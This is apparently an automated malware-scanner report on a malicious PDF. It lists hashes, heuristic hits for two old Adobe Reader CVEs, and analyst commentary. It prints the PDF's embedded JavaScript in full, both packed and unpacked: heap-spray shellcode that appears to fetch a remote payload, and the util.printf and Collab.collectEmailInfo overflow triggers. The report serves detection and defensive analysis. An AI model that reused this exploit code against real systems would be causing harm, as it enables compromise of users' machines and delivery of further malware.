PDF malware analysis — malicious · e4ab6c9d87d04fae

MALICIOUS

PDF

8.8 KB Created: 2010-06-18 10:48:07 Authoring application: nzLsnzWSSHjxLkuPQy (via wJxrQIqxDOqgqoLIFNmk) First seen: 2026-05-09

MD5: ff30ff08b489d3e1266188e7358d8746 SHA-1: 6dc9243f00dfc9a82309ee7099781463938e0edc SHA-256: e4ab6c9d87d04fae7449e0c7b193986d2f8427e1e44bca662ce427916508313c

296 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj0007_000.js', uses String.fromCharCode, a common obfuscation technique. While the exact payload is not discernible due to obfuscation, the presence of JavaScript and obfuscation strongly suggests an attempt to download and execute a second-stage payload. The authoring application name 'nzLsnzWSSHjxLkuPQy' is also suspicious.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 7

Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

/JS (eval\(function\(p,a,c,k,e,d\){e=function\(c\){return\(c<a?'':e\(parseInt\(c/a\)\)\)+\(\(c=c%a\)>35?String.fromCharCode\(c+29\):c.toString\(36\)\)};if\(!''.replace\(/^/,String\)\){while\(c--\){d[e\(c\)]=k[c]||e\(c\)}k=[function\(e\){return d[e]}];e=function\(\){return'\\\\w+'};c=1};while\(c--\){if\(k[c]\){p=p.replace\(new RegExp\('\\\\b'+e\(c\)+'\\\\b','g'\),k[c]\)}}return p}\('5 s=4g.4f.4e\(\);s=s.4c\(/\\\\D/g,""\);4d\(s.17\(0\)=="8"&&s.17\(1\)<="1"&&s.17\(2\)<="2"\){14=z\("%1D%u"+"4h%4i"+" …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x42F	7126 bytes
SHA-256: `58edc107389a78b939671167635bf876ea2f422bfcfac85437629c5d36de8be8`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]\|\|e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 s=4g.4f.4e();s=s.4c(/\\D/g,"");4d(s.17(0)=="8"&&s.17(1)<="1"&&s.17(2)<="2"){14=z("%1D%u"+"4h%4i"+"56%1o"+"%35%u"+"j%4n"+"b%1s"+"%1h%u"+"4m%4l"+"13%1N"+"%1M%u"+"4j%4k"+"4b%1L"+"%1O%u"+"4a%3Y"+"3X%1R"+"%1Q%u"+"3W%3U"+"40%16"+"%1J%u"+"v%3V"+"b%1C"+"%1B%u"+"j%3Z"+"41%1E"+"%6%u"+"49%2k"+"5e%d"+"%q%u"+"v%2h"+"b%X"+"%3%u"+"2g%2m"+"2t%6"+"%i%u"+"2u%18"+"10%6"+"%r%u"+"2r%2o"+"10%C"+"%1F%u"+"j%2q"+"3n%I"+"%M%u"+"3s%1c"+"46%J"+"%N%u"+"1a%3k"+"3q%O"+"%9%u"+"3f%Z"+"L%E"+"%3%u"+"3g%3p"+"3o%Q"+"%3%u"+"3d%Z"+"L%G"+"%3%u"+"31%7"+"6a%f"+"%h%u"+"R%7"+"b%W"+"%d%u"+"48%7"+"11%l"+"%m%u"+"36%2Y"+"6a%f"+"%h%u"+"R%7"+"b%T"+"%V%u"+"v%2k"+"b%d"+"%q%u"+"v%2h"+"b%X"+"%3%u"+"2g%2m"+"2t%6"+"%i%u"+"2u%18"+"10%6"+"%r%u"+"2r%2o"+"10%C"+"%1T%u"+"j%2q"+"3n%I"+"%M%u"+"3s%1c"+"46%J"+"%N%u"+"1a%3k"+"3q%O"+"%9%u"+"3f%Z"+"L%E"+"%3%u"+"3g%3p"+"3o%Q"+"%3%u"+"3d%Z"+"L%G"+"%3%u"+"31%7"+"6a%f"+"%h%u"+"R%7"+"b%W"+"%d%u"+"47%7"+"11%l"+"%m%u"+"36%2Y"+"6a%f"+"%h%u"+"R%7"+"b%T"+"%V%u"+"v%42"+"b%29"+"%23%u"+"45%4o"+"58%3"+"%3%u"+"j%7"+"b%3"+"%3%u"+"j%7"+"b%H"+"%1W%u"+"4p%4I"+"1e%1X"+"%1Y%u"+"4H%2D"+"6f%21"+"%1Z%u"+"4G%4E"+"19%2b"+"%H%u"+"4F%3T"+"19%1i"+"%1g%u"+"4K%4O"+"4N%1t"+"%1v%u"+"4M%4L"+"65%1m"+"%1j%u"+"4D%4C"+"30%1z"+"%1r%u"+"4u%2C"+"4t%1q"+"%1u%u"+"j%4s"+"13%k"+"%3%u"+"4q%4r"+"13%k"+"%3%u"+"4v%4w"+"4B%1k"+"%12%u"+"4A%7"+"b%2n"+"%3e%u"+"j%1K"+"1P%w"+"%9%u"+"4z%1K"+"1P%w"+"%9%u"+"4x%1U"+"1n%t"+"%k%u"+"j%18"+"1n%3b"+"%3c%u"+"1l%1p"+"1b%3"+"%37%u"+"4y%4P"+"51%34"+"%2c%u"+"3B%1c"+"43%38"+"%39%u"+"3P%3Q"+"33%9"+"%r%u"+"3I%1U"+"66%2V"+"%2W%u"+"3J%7"+"11%i"+"%2Z%u"+"1l%1p"+"1b%3"+"%2X%u"+"3D%7"+"b%3"+"%3%u"+"j%7"+"b%3"+"%3%u"+"1a%3A"+"33%9"+"%3t%u"+"3H%3G"+"58%3m"+"%3l%u"+"3E%3F"+"3C%3h"+"%3j%u"+"3K%3L"+"3R%3i"+"%3r%u"+"3O%3M"+"44%2T"+"%2Q%u"+"3N%3S"+"6f%2p"+"%y%u"+"3y%3w"+"6f%2s"+"%2v%u"+"3x%3z"+"64%2R"+"%P%u"+"3v%7"+"65%2e"+"%2d%u"+"3u%4J"+"1e%2i"+"%2l%u"+"5b%6l"+"3a%2j"+"%2w%u"+"6k%2D"+"19%2K"+"%2J%u"+"6j%6h"+"2f%2I"+"%2L%u"+"6i%2C"+"32%2M"+"%2P%u"+"6m%6n"+"2f%y"+"%P%u"+"6r%6q"+"1e%2N"+"%6p%u"+"6o"+"");5 n=z("%6g"+"a%6e"+"62"+"");5 B=20+14.o;K(n.o<B)n+=n;5 1x=n.1f(0,B);5 p=n.1f(0,n.o-B);K(p.o+B<61)p=p+p+1x;5 1w=22 2a();2B(U=0;U<60;U++){1w[U]=p+14}5 1V="5Y"+"6t"+"63"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"4"+"67"+"";6d.6c("%6b",1V)}68{5 2E=22 2a();69 2A(e,A){K(e.o2<A){e+=e}e=e.1f(0,A/2);6s e}5 2z=6L;5 15=z("%1D"+"%6O"+"%16"+"%1o"+"%35"+"%3"+"%6J"+"%1s"+"%1h"+"%6K"+"%6N"+"%1N"+"%1M"+"%6I"+"%1y"+"%1L"+"%1O"+"%6M"+"%6G"+"%1R"+"%1Q"+"%6y"+"%4Q"+"%16"+"%1J"+"%6"+"%6x"+"%1C"+"%1B"+"%3"+"%6w"+"%1E"+"%6"+"%6u"+"%6H"+"%d"+"%q"+"%6"+"%l"+"%X"+"%3"+"%1I"+"%1H"+"%6"+"%i"+"%d"+"%q"+"%6"+"%r"+"%1G"+"%1S"+"%C"+"%1F"+"%3"+"%26"+"%I"+"%M"+"%25"+"%24"+"%J"+"%N"+"%i"+"%d"+"%O"+"%9"+"%l"+"%F"+"%E"+"%3"+"%f"+"%h"+"%Q"+"%3"+"%27"+"%F"+"%G"+"%3"+"%m"+"%m"+"%f"+"%h"+"%S"+"%3"+"%W"+"%d"+"%6v"+"%9"+"%l"+"%m"+"%1A"+"%28"+"%f"+"%h"+"%S"+"%3"+"%T"+"%V"+"%6"+"%i"+"%d"+"%q"+"%6"+"%l"+"%X"+"%3"+"%1I"+"%1H"+"%6"+"%i"+"%d"+"%q"+"%6"+"%r"+"%1G"+"%1S"+"%C"+"%1T"+"%3"+"%26"+"%I"+"%M"+"%25"+"%24"+"%J"+"%N"+"%i"+"%d"+"%O"+"%9"+"%l"+"%F"+"%E"+"%3"+"%f"+"%h"+"%Q"+"%3"+"%27"+"%F"+"%G"+"%3"+"%m"+"%m"+"%f"+"%h"+"%S"+"%3"+"%W"+"%d"+"%6z"+"%9"+"%l"+"%m"+"%1A"+"%28"+"%f"+"%h"+"%S"+"%3"+"%T"+"%V"+"%6"+"%6A"+"%29"+"%23"+"%6F"+"%6E"+"%3"+"%3"+"%3"+"%3"+"%3"+"%3"+"%3"+"%3"+"%H"+"%1W"+"%6D"+"%6B"+"%1X"+"%1Y"+"%6C"+"%y"+"%21"+"%1Z"+"%2x"+"%5Z"+"%2b"+"%H"+"%5W"+"%5g"+"%1i"+"%1g"+"%5h"+"%5f"+"%1t"+"%1v"+"%5d"+"%5X"+"%1m"+"%1j"+"%5c"+"%5i"+"%1z"+"%1r"+"%5j"+"%5o"+"%1q"+"%1u"+"%3"+"%12"+"%k"+"%3"+"%2S"+"%t"+"%k"+"%3"+"%1y"+"%5p"+"%1k"+"%12"+"%k"+"%3"+"%2n"+"%3e"+"%3"+"%2U"+"%w"+"%9"+"%5n"+"%2U"+"%w"+"%9"+"%5m"+"%5k"+"%t"+"%k"+"%3"+"%5l"+"%3b"+"%3c"+"%t"+"%k"+"%3"+"%37"+"%5a"+"%59"+"%34"+"%2c"+"%4W"+"%4X"+"%38"+"%39"+"%4V"+"%4U"+"%9"+"%r"+"%4R"+"%2S"+"%2V"+"%2W"+"%4S"+"%9"+"%i"+"%2Z"+"%t"+"%k"+"%3"+"%2X"+"%4T"+"%3"+"%3"+"%3"+"%3"+"%3"+"%3"+"%3"+"%i"+"%w"+"%9"+"%3t"+"%4Y"+"%4Z"+"%3m"+"%3l"+"%55"+"%57"+"%3h"+"%3j"+"%54"+"%53"+"%3i"+"%3r"+"%50"+"%52"+"%2T"+"%2Q"+"%5q"+"%5r"+"%2p"+"%y"+"%5M"+"%5N"+"%2s"+"%2v"+"%5L"+"%5K"+"%2R"+"%P"+"%5I"+"%5J"+"%2e"+"%2d"+"%5O"+"%2O"+"%2i"+"%2l"+"%5P"+"%5U"+"%2j"+"%2w"+"%5V"+"%2x"+"%2K"+"%2J"+"%5T"+"%5S"+"%2I"+"%2L"+"%5Q"+"%5R"+"%2M"+"%2P"+"%5H"+"%5G"+"%y"+"%P"+"%2O"+"%5w"+"%2N"+"%5x"+"%5v"+"");5 1d=2y;5 2H=15.o2;5 A=1d-(2H+5u);5 e=z("%2G%2G");e=2A(e,A);5 2F=(2z-2y)/1d;2B(5 Y=0;Y<2F;Y++){2E[Y]=e+15}5 x=z("%5s"+"c%5t"+"5y"+"");K(x.o<5z)x+=x;5E.5F=5D.5C({5A:"",5B:x})}',62,423,',,,u0000,8888888,var,u0001,u00,,u0002,,00,,u81ea,pkBJwXv3DY,uea89,,uc281,u8900,0000,u021b,u5200,u006a,esbLsXad9A,length,tbCjEu2H,u5ec2,u3100,uxGPw4ld,u8503,,0001,u1b85,xYZC4NnuY,u616f,unescape,jmfFheNG,zIFudG8faj,u359c,,u0152,u95ff,u0156,u6547,u7400,uc6ee,while,ff,u8806,u3204,u45c2,u2e64,u0250,015e,u015e,uff52,d80Axr6I,u5a95,u8952,u8068,gJxkHSXg,u95,c2,02,ub503,03,p65URO5Xj6,gm3zr1nW2,u5756,charAt,u5e,72,8900,,ueb,q5gtlWVS0,70,substring,u6464,u310d,u4163,uf289,u1cc6,8503,ubb00,ab,u9c55,u02,ubec0,u29fd,ued83,u5700,u003c,u6e69,cHGu707Ri,q8gdB1T5jA,u708b,u75ae,ud0ff,u014e,ubfee,u5350,ud6e8,u0263,u01f6,u4e95,uff00,u5ebe,u03,uad1c,u8b0c,u7830,u408b,ad,u408d,u3440,u8ac2,u026e,uad,b5ENBMyftG,u5474,u7461,u4168,u6269,,u4c64,new,u5a5e,ueb46,u321c,ufb80,u5052,u056a,u5f5d,Array,u0041,u7459,u7361,u7263,,ff00,u52,u0070,u6f2f,u89,u7468,u4e,ubd8d,u8a,u6c6e,ufb,01f6,u6c69,95,81ea,u4165,u646c,u6172,0x400000,lJrsE9jI,tV78y5Qn,for,u31,u61,n14VIWLV9,rg2FaYzK,u9090,ajtpIlXx,u616d,u632e,u6873,u6567,u3532,u6469,u6870,u6a2e,u5255,u7075,uad66,u004c,u03ad,ue0c1,u0302,uebc3,u05,uadc6,,006a,,85,ua6f3,u00e8,d0ff,uc689,u5ee9,ud193,,udb31,u56ad,5052,u021f,5200,ea89,ubb3e,u4c52,u0274,u81,u5e5f,uffff,80,81,uc2,ea,u4f4d,321c,u5600,2e68,7865,u46,7000,5464,u66,u1b,5e04,ce,0010,01ab,u80,uff,e857,96f6,1f85,edeb,u55,u4c,444c,2e4e,03e0,u27,c3,u77,u6f,u3c,u01,8b7c,09,u8b,uef,,01,u9d,,,5b59,,a6c2,78c2,5f00,eb08,8b,replace,if,toString,viewerVersion,app,5251,u57,0c40,u70,u40,64c0,u5d,uc3,6d65,ad66,u85,ub5,f9,89f7,708b,u83,5000,d789,ab00,021b,78,uc0,f789,u79,5074,6172,4c00,u50,u68,6572,u63,7845,73,u73,ufc,u3c40,u96f6,u1f85,u0010,u2785,u03e0,u5e04,ueb43,ue857,uff58,u2e4e,,u4c44,u55c3,uedeb,u01ab,,u80ce,,ufc51,ud789,7074,uf789,u7845,,u7373,u6f72,u6572,uc030,u89f7,uadab,u5eab,u5000,uab00,u31f9,u8378,u444c,u776f,u0c0,u0c,0x38,u9000,u3f70,u343d,0c,44952,subj,msg,collectEmailInfo,Collab,this,collabStore,u6c2f,u6770,u7865,u0065,u6664,u7000,u5464,u466f,u2e68,u7074,u2f73,u3132,u692f,u6d6f,u2f3a,u632d,u5074,u6365,1299999,u7972,1200,0x60000,0a,9999998,,,,88,else,function,,45000f,printf,util,u0a,,u0a0,u69,2f73,6d6f,632d,u2f,6770,u6c,9000,u353d,u3f,6870,return,9999999,u5f00,u78c2,uef01,u0100,u8b7c,ua6c2,u9d00,u5070,u4c00,u6d65,uc358,u5b59,u8b09,u895e,u0c40,u5d00,u64c0,0x0c0c0c0c,ueb08,u4003,u5251'.split(','),0,{}))
`dean_edwards_stage_000.js`	deobfuscated-js	Dean Edwards unpacked JavaScript (JavaScript stream) at offset 0x42F	7719 bytes
SHA-256: `4a703cceae4844e7442a48b46d6f44d15732ad7a649cb9c26f248d470347a976`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var uxGPw4ld=app.viewerVersion.toString();uxGPw4ld=uxGPw4ld.replace(/\D/g,"");if(uxGPw4ld.charAt(0)=="8"&&uxGPw4ld.charAt(1)<="1"&&uxGPw4ld.charAt(2)<="2"){p65URO5Xj6=unescape("%u5350%u"+"5251%u57"+"56%u9c55"+"%u00e8%u"+"0000%u5d"+"00%ued83"+"%u310d%u"+"64c0%u40"+"03%u7830"+"%u8b0c%u"+"0c40%u70"+"8b%uad1c"+"%u408b%u"+"eb08%u8b"+"09%u3440"+"%u408d%u"+"8b7c%u3c"+"40%u5756"+"%u5ebe%u"+"0001%u01"+"00%ubfee"+"%u014e%u"+"0000%uef"+"01%ud6e8"+"%u0001%u"+"5f00%u89"+"5e%u81ea"+"%u5ec2%u"+"0001%u52"+"00%u8068"+"%u0000%u"+"ff00%u4e"+"95%u0001"+"%u8900%u"+"81ea%u5e"+"c2%u0001"+"%u3100%u"+"01f6%u8a"+"c2%u359c"+"%u0263%u"+"0000%ufb"+"80%u7400"+"%u8806%u"+"321c%ueb"+"46%uc6ee"+"%u3204%u"+"8900%u81"+"ea%u45c2"+"%u0002%u"+"5200%u95"+"ff%u0152"+"%u0000%u"+"ea89%uc2"+"81%u0250"+"%u0000%u"+"5052%u95"+"ff%u0156"+"%u0000%u"+"006a%u00"+"6a%uea89"+"%uc281%u"+"015e%u00"+"00%u8952"+"%u81ea%u"+"78c2%u00"+"02%u5200"+"%u006a%u"+"d0ff%u05"+"6a%uea89"+"%uc281%u"+"015e%u00"+"00%uff52"+"%u5a95%u"+"0001%u89"+"00%u81ea"+"%u5ec2%u"+"0001%u52"+"00%u8068"+"%u0000%u"+"ff00%u4e"+"95%u0001"+"%u8900%u"+"81ea%u5e"+"c2%u0001"+"%u3100%u"+"01f6%u8a"+"c2%u359c"+"%u026e%u"+"0000%ufb"+"80%u7400"+"%u8806%u"+"321c%ueb"+"46%uc6ee"+"%u3204%u"+"8900%u81"+"ea%u45c2"+"%u0002%u"+"5200%u95"+"ff%u0152"+"%u0000%u"+"ea89%uc2"+"81%u0250"+"%u0000%u"+"5052%u95"+"ff%u0156"+"%u0000%u"+"006a%u00"+"6a%uea89"+"%uc281%u"+"015e%u00"+"00%u8952"+"%u81ea%u"+"a6c2%u00"+"02%u5200"+"%u006a%u"+"d0ff%u05"+"6a%uea89"+"%uc281%u"+"015e%u00"+"00%uff52"+"%u5a95%u"+"0001%u9d"+"00%u5f5d"+"%u5a5e%u"+"5b59%uc3"+"58%u0000"+"%u0000%u"+"0000%u00"+"00%u0000"+"%u0000%u"+"0000%u00"+"00%u6547"+"%u5474%u"+"6d65%u50"+"70%u7461"+"%u4168%u"+"4c00%u61"+"6f%u4c64"+"%u6269%u"+"6172%u79"+"72%u0041"+"%u6547%u"+"5074%u6f"+"72%u4163"+"%u6464%u"+"6572%u73"+"73%u5700"+"%u6e69%u"+"7845%u63"+"65%ubb00"+"%uf289%u"+"f789%uc0"+"30%u75ae"+"%u29fd%u"+"89f7%u31"+"f9%ubec0"+"%u003c%u"+"0000%ub5"+"03%u021b"+"%u0000%u"+"ad66%u85"+"03%u021b"+"%u0000%u"+"708b%u83"+"78%u1cc6"+"%ub503%u"+"021b%u00"+"00%ubd8d"+"%u021f%u"+"0000%u03"+"ad%u1b85"+"%u0002%u"+"ab00%u03"+"ad%u1b85"+"%u0002%u"+"5000%uad"+"ab%u8503"+"%u021b%u"+"0000%u5e"+"ab%udb31"+"%u56ad%u"+"8503%u02"+"1b%u0000"+"%uc689%u"+"d789%ufc"+"51%ua6f3"+"%u7459%u"+"5e04%ueb"+"43%u5ee9"+"%ud193%u"+"03e0%u27"+"85%u0002"+"%u3100%u"+"96f6%uad"+"66%ue0c1"+"%u0302%u"+"1f85%u00"+"02%u8900"+"%uadc6%u"+"8503%u02"+"1b%u0000"+"%uebc3%u"+"0010%u00"+"00%u0000"+"%u0000%u"+"0000%u00"+"00%u0000"+"%u0000%u"+"8900%u1b"+"85%u0002"+"%u5600%u"+"e857%uff"+"58%uffff"+"%u5e5f%u"+"01ab%u80"+"ce%ubb3e"+"%u0274%u"+"edeb%u55"+"c3%u4c52"+"%u4f4d%u"+"2e4e%u4c"+"44%u004c"+"%u5255%u"+"444c%u77"+"6f%u6c6e"+"%u616f%u"+"5464%u46"+"6f%u6c69"+"%u4165%u"+"7000%u66"+"64%u7075"+"%u2e64%u"+"7865%u00"+"65%u7263"+"%u7361%u"+"2e68%u68"+"70%u0070"+"%u7468%u"+"7074%u2f"+"3a%u6f2f"+"%u646c%u"+"632d%u61"+"72%u6873"+"%u632e%u"+"6d6f%u69"+"2f%u616d"+"%u6567%u"+"2f73%u31"+"32%u3532"+"%u6a2e%u"+"6770%u6c"+"2f%u616f"+"%u2e64%u"+"6870%u3f"+"70%u6469"+"%u353d%u"+"9000"+"");var esbLsXad9A=unescape("%u0a0"+"a%u0a"+"0a"+"");var zIFudG8faj=20+p65URO5Xj6.length;while(esbLsXad9A.length<zIFudG8faj)esbLsXad9A+=esbLsXad9A;var q8gdB1T5jA=esbLsXad9A.substring(0,zIFudG8faj);var tbCjEu2H=esbLsXad9A.substring(0,esbLsXad9A.length-zIFudG8faj);while(tbCjEu2H.length+zIFudG8faj<0x60000)tbCjEu2H=tbCjEu2H+tbCjEu2H+q8gdB1T5jA;var cHGu707Ri=new Array();for(d80Axr6I=0;d80Axr6I<1200;d80Axr6I++){cHGu707Ri[d80Axr6I]=tbCjEu2H+p65URO5Xj6}var b5ENBMyftG="1299999"+"9999999"+"9999998"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"8888888"+"88"+"";util.printf("%45000f",b5ENBMyftG)}else{var n14VIWLV9=new Array();function tV78y5Qn(pkBJwXv3DY,jmfFheNG){while(pkBJwXv3DY.length2<jmfFheNG){pkBJwXv3DY+=pkBJwXv3DY}pkBJwXv3DY=pkBJwXv3DY.substring(0,jmfFheNG/2);return pkBJwXv3DY}var lJrsE9jI=0x0c0c0c0c;var gm3zr1nW2=unescape("%u5350"+"%u5251"+"%u5756"+"%u9c55"+"%u00e8"+"%u0000"+"%u5d00"+"%ued83"+"%u310d"+"%u64c0"+"%u4003"+"%u7830"+"%u8b0c"+"%u0c40"+"%u708b"+"%uad1c"+"%u408b"+"%ueb08"+"%u8b09"+"%u3440"+"%u408d"+"%u8b7c"+"%u3c40"+"%u5756"+"%u5ebe"+"%u0001"+"%u0100"+"%ubfee"+"%u014e"+"%u0000"+"%uef01"+"%ud6e8"+"%u0001"+"%u5f00"+"%u895e"+"%u81ea"+"%u5ec2"+"%u0001"+"%u5200"+"%u8068"+"%u0000"+"%uff00"+"%u4e95"+"%u0001"+"%u8900"+"%u81ea"+"%u5ec2"+"%u0001"+"%u3100"+"%u01f6"+"%u8ac2"+"%u359c"+"%u0263"+"%u0000"+"%ufb80"+"%u7400"+"%u8806"+"%u321c"+"%ueb46"+"%uc6ee"+"%u3204"+"%u8900"+"%u81ea"+"%u45c2"+"%u0002"+"%u5200"+"%u95ff"+"%u0152"+"%u0000"+"%uea89"+"%uc281"+"%u0250"+"%u0000"+"%u5052"+"%u95ff"+"%u0156"+"%u0000"+"%u006a"+"%u006a"+"%uea89"+"%uc281"+"%u015e"+"%u0000"+"%u8952"+"%u81ea"+"%u78c2"+"%u0002"+"%u5200"+"%u006a"+"%ud0ff"+"%u056a"+"%uea89"+"%uc281"+"%u015e"+"%u0000"+"%uff52"+"%u5a95"+"%u0001"+"%u8900"+"%u81ea"+"%u5ec2"+"%u0001"+"%u5200"+"%u8068"+"%u0000"+"%uff00"+"%u4e95"+"%u0001"+"%u8900"+"%u81ea"+"%u5ec2"+"%u0001"+"%u3100"+"%u01f6"+"%u8ac2"+"%u359c"+"%u026e"+"%u0000"+"%ufb80"+"%u7400"+"%u8806"+"%u321c"+"%ueb46"+"%uc6ee"+"%u3204"+"%u8900"+"%u81ea"+"%u45c2"+"%u0002"+"%u5200"+"%u95ff"+"%u0152"+"%u0000"+"%uea89"+"%uc281"+"%u0250"+"%u0000"+"%u5052"+"%u95ff"+"%u0156"+"%u0000"+"%u006a"+"%u006a"+"%uea89"+"%uc281"+"%u015e"+"%u0000"+"%u8952"+"%u81ea"+"%ua6c2"+"%u0002"+"%u5200"+"%u006a"+"%ud0ff"+"%u056a"+"%uea89"+"%uc281"+"%u015e"+"%u0000"+"%uff52"+"%u5a95"+"%u0001"+"%u9d00"+"%u5f5d"+"%u5a5e"+"%u5b59"+"%uc358"+"%u0000"+"%u0000"+"%u0000"+"%u0000"+"%u0000"+"%u0000"+"%u0000"+"%u0000"+"%u6547"+"%u5474"+"%u6d65"+"%u5070"+"%u7461"+"%u4168"+"%u4c00"+"%u616f"+"%u4c64"+"%u6269"+"%u6172"+"%u7972"+"%u0041"+"%u6547"+"%u5074"+"%u6f72"+"%u4163"+"%u6464"+"%u6572"+"%u7373"+"%u5700"+"%u6e69"+"%u7845"+"%u6365"+"%ubb00"+"%uf289"+"%uf789"+"%uc030"+"%u75ae"+"%u29fd"+"%u89f7"+"%u31f9"+"%ubec0"+"%u003c"+"%u0000"+"%ub503"+"%u021b"+"%u0000"+"%uad66"+"%u8503"+"%u021b"+"%u0000"+"%u708b"+"%u8378"+"%u1cc6"+"%ub503"+"%u021b"+"%u0000"+"%ubd8d"+"%u021f"+"%u0000"+"%u03ad"+"%u1b85"+"%u0002"+"%uab00"+"%u03ad"+"%u1b85"+"%u0002"+"%u5000"+"%uadab"+"%u8503"+"%u021b"+"%u0000"+"%u5eab"+"%udb31"+"%u56ad"+"%u8503"+"%u021b"+"%u0000"+"%uc689"+"%ud789"+"%ufc51"+"%ua6f3"+"%u7459"+"%u5e04"+"%ueb43"+"%u5ee9"+"%ud193"+"%u03e0"+"%u2785"+"%u0002"+"%u3100"+"%u96f6"+"%uad66"+"%ue0c1"+"%u0302"+"%u1f85"+"%u0002"+"%u8900"+"%uadc6"+"%u8503"+"%u021b"+"%u0000"+"%uebc3"+"%u0010"+"%u0000"+"%u0000"+"%u0000"+"%u0000"+"%u0000"+"%u0000"+"%u0000"+"%u8900"+"%u1b85"+"%u0002"+"%u5600"+"%ue857"+"%uff58"+"%uffff"+"%u5e5f"+"%u01ab"+"%u80ce"+"%ubb3e"+"%u0274"+"%uedeb"+"%u55c3"+"%u4c52"+"%u4f4d"+"%u2e4e"+"%u4c44"+"%u004c"+"%u5255"+"%u444c"+"%u776f"+"%u6c6e"+"%u616f"+"%u5464"+"%u466f"+"%u6c69"+"%u4165"+"%u7000"+"%u6664"+"%u7075"+"%u2e64"+"%u7865"+"%u0065"+"%u7263"+"%u7361"+"%u2e68"+"%u6870"+"%u0070"+"%u7468"+"%u7074"+"%u2f3a"+"%u6f2f"+"%u646c"+"%u632d"+"%u6172"+"%u6873"+"%u632e"+"%u6d6f"+"%u692f"+"%u616d"+"%u6567"+"%u2f73"+"%u3132"+"%u3532"+"%u6a2e"+"%u6770"+"%u6c2f"+"%u616f"+"%u2e64"+"%u6870"+"%u3f70"+"%u6469"+"%u343d"+"%u9000"+"");var q5gtlWVS0=0x400000;var ajtpIlXx=gm3zr1nW2.length2;var jmfFheNG=q5gtlWVS0-(ajtpIlXx+0x38);var pkBJwXv3DY=unescape("%u9090%u9090");pkBJwXv3DY=tV78y5Qn(pkBJwXv3DY,jmfFheNG);var rg2FaYzK=(lJrsE9jI-0x400000)/q5gtlWVS0;for(var gJxkHSXg=0;gJxkHSXg<rg2FaYzK;gJxkHSXg++){n14VIWLV9[gJxkHSXg]=pkBJwXv3DY+gm3zr1nW2}var xYZC4NnuY=unescape("%u0c0"+"c%u0c"+"0c"+"");while(xYZC4NnuY.length<44952)xYZC4NnuY+=xYZC4NnuY;this.collabStore=Collab.collectEmailInfo({subj:"",msg:xYZC4NnuY})}

Open this report in the interactive analyzer, or submit your own file for analysis.